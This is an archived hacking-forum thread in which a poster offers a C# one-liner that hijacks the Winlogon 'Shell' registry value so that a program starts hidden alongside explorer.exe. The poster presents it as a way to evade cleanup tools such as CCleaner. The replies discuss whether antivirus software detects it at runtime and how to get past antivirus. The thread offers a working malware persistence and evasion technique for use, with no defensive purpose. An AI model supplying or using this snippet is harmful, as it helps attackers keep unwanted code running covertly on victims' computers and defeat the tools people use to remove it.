+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] Hidden Startup #2 (/showthread.php?tid=6133610)
Hidden Startup #2 - Voidlight - Jan 13, 2021
This will bypass ccleaner, ect. Enjoy.
PHP Code
<?php
Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Winlogon", true).SetValue("Shell", "explorer.exe,"+Process.GetCurrentProcess().MainModule.FileName + ",");
RE: Hidden Startup #2 - Elijah - Jan 14, 2021
Will it cause any runtime Detection?
the old method was havily detected by AV on runtime.
RE: Hidden Startup #2 - Voidlight - Jan 14, 2021
(Jan 14, 2021 12:46 AM)Elijah Wrote: Will it cause any runtime Detection?
the old method was havily detected by AV on runtime.
I have not had issues with runtime scanning
RE: Hidden Startup #2 - Melted - Jun 8, 2021
(Jan 13, 2021 07:06 PM)Hideki Ryuga Wrote: This will bypass ccleaner, ect. Enjoy.
PHP Code
<?php
Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Winlogon", true).SetValue("Shell", "explorer.exe,"+Process.GetCurrentProcess().MainModule.FileName + ",");
Thanks, this was useful for me. Keep up the good work!
RE: Hidden Startup #2 - Joseph Ducreux - Jun 13, 2021
this is sneaky and interesting. using the explorer.exe process to launch things is seriously looked over and not utilized enough
RE: Hidden Startup #2 - GruntStyl - Jun 15, 2021
(Jun 13, 2021 12:17 PM)Joseph Ducreux Wrote: this is sneaky and interesting. using the explorer.exe process to launch things is seriously looked over and not utilized enough
Very old method and is detected by most AV's.
RE: Hidden Startup #2 - Elijah - Jun 16, 2021
(Jun 15, 2021 09:25 AM)Tazzy0pz Wrote: Very old method and is detected by most AV's.
i already informed OP when he posted this thread.
RE: Hidden Startup #2 - K A T A N A - Jul 9, 2021
(Jun 15, 2021 09:25 AM)Tazzy0pz Wrote: Very old method and is detected by most AV's.
(Jun 16, 2021 08:45 AM)Elijah Wrote: i already informed OP when he posted this thread.
If u don't know how to bypass av this code line is not for u lmao